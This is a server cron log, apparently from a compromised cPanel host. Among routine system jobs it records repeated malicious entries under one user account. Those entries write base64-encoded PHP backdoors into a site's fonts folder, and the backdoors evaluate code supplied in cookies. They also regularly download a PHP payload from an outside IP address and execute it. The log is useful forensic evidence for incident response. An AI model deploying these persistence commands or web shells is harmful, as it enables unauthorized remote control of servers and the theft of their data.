Sep  5 15:13:01 ip-184-168-122-23 CROND[8914]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 15:13:01 ip-184-168-122-23 CROND[8913]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 15:13:01 ip-184-168-122-23 CROND[8912]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 15:13:01 ip-184-168-122-23 CROND[8915]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 15:14:01 ip-184-168-122-23 CROND[9024]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 15:14:01 ip-184-168-122-23 CROND[9026]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 15:14:01 ip-184-168-122-23 CROND[9025]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 15:14:01 ip-184-168-122-23 CROND[9028]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 15:14:01 ip-184-168-122-23 CROND[9027]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 15:15:01 ip-184-168-122-23 CROND[9152]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 15:15:01 ip-184-168-122-23 CROND[9153]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 15:15:01 ip-184-168-122-23 CROND[9154]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 15:15:01 ip-184-168-122-23 CROND[9155]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 15:15:01 ip-184-168-122-23 CROND[9157]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 15:15:01 ip-184-168-122-23 CROND[9156]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 15:16:01 ip-184-168-122-23 CROND[9249]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 15:16:01 ip-184-168-122-23 CROND[9252]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 15:16:01 ip-184-168-122-23 CROND[9251]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 15:16:01 ip-184-168-122-23 CROND[9250]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 15:16:01 ip-184-168-122-23 CROND[9253]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 15:16:01 ip-184-168-122-23 CROND[9254]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  5 15:17:01 ip-184-168-122-23 CROND[9381]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 15:17:01 ip-184-168-122-23 CROND[9383]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 15:17:01 ip-184-168-122-23 CROND[9382]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 15:17:01 ip-184-168-122-23 CROND[9384]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 15:18:01 ip-184-168-122-23 CROND[9502]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 15:18:01 ip-184-168-122-23 CROND[9506]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 15:18:01 ip-184-168-122-23 CROND[9505]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 15:18:01 ip-184-168-122-23 CROND[9503]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 15:18:01 ip-184-168-122-23 CROND[9507]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 15:19:01 ip-184-168-122-23 CROND[9726]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 15:19:01 ip-184-168-122-23 CROND[9725]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 15:19:01 ip-184-168-122-23 CROND[9727]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 15:19:01 ip-184-168-122-23 CROND[9728]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 15:20:01 ip-184-168-122-23 CROND[9882]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 15:20:01 ip-184-168-122-23 CROND[9881]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 15:20:01 ip-184-168-122-23 CROND[9885]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  5 15:20:01 ip-184-168-122-23 CROND[9886]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 15:20:01 ip-184-168-122-23 CROND[9889]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 15:20:01 ip-184-168-122-23 CROND[9892]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 15:20:01 ip-184-168-122-23 CROND[9891]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  5 15:20:01 ip-184-168-122-23 CROND[9890]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 15:20:01 ip-184-168-122-23 CROND[9893]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 15:21:01 ip-184-168-122-23 CROND[10020]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 15:21:01 ip-184-168-122-23 CROND[10022]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 15:21:01 ip-184-168-122-23 CROND[10024]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 15:21:01 ip-184-168-122-23 CROND[10023]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 15:22:01 ip-184-168-122-23 CROND[10123]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 15:22:01 ip-184-168-122-23 CROND[10122]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 15:22:01 ip-184-168-122-23 CROND[10124]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 15:22:01 ip-184-168-122-23 CROND[10126]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 15:22:01 ip-184-168-122-23 CROND[10125]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 15:23:01 ip-184-168-122-23 CROND[10261]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 15:23:01 ip-184-168-122-23 CROND[10263]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 15:23:01 ip-184-168-122-23 CROND[10264]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 15:23:01 ip-184-168-122-23 CROND[10262]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 15:24:01 ip-184-168-122-23 CROND[10358]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 15:24:01 ip-184-168-122-23 CROND[10361]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 15:24:01 ip-184-168-122-23 CROND[10360]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 15:24:01 ip-184-168-122-23 CROND[10362]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 15:24:01 ip-184-168-122-23 CROND[10363]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 15:25:01 ip-184-168-122-23 CROND[10551]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 15:25:01 ip-184-168-122-23 CROND[10552]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
